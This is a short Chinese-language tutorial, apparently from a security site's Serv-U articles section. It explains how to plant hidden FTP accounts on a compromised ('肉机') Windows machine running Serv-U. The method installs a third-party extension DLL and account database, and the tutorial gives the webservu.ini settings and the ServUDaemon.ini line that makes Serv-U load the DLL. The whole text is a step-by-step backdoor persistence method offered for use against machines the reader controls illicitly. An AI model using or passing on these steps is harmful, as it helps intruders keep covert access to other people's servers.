当你的肉机安装了SERV-U 时，你可用下面的方法建立隐藏账号
首先确认SERV-U安装好了，并能正确运行。
这里有一个SERV-U扩展库，必须安装在SERV-U3.0版本以上！
这个包一共包含4个文件
webseru.dll
myservu.mdb
webservu.ini
readme.txt
其中myservu.mdb用于存放帐号和密码（没有加密）。
webservu.ini保存了一些配置信息
/////////////////////////////////////////
//以下是webservu.ini的内容
////////////////////////////////////////
[main]
homeDir=d:\mydoc\
dbFile=myservu.mdb
logfile=on
///////////////////////////
其中homeDir=d:\mydoc\表示你的FTP的根目录，如果你有一个新帐号abc,那么帐号abc的主
目录为d:\mydoc\abc，你要保证d:\mydoc\abc存在，否则访问不了。注意主目录后面的\不能
少。
dbFile=myservu.mdb 定义了帐号数据库的文件名，你可以把它拷贝到其他目录，但是必须包含
目录名。例如dbFile=e:\mydoc\ser.mdb.程序也不检测该文件是否存在。如果该数据库文件和
myservu.dll在同一目录则不需要包含路径！
logfile=on 表示记录登陆信息，不记录的话将on改为off。
怎样让serv-u加载myservu,dll?
首先要保证serv-u已经能够运行，找到serv-u的安装目录下的ServUDaemon.ini文件
添加
[EXTERNAL]
ClientCheckDLL1=c:\mydoc\webseru.dll
如果webseru.dll放在serv-u的安装目录下可以不要路径，直接用文件名
如：ClientCheckDLL1=webseru.dll
存盘后，重新启动serv-u。 |
安全中国首页 > 文章中心 > Serv-U漏洞文章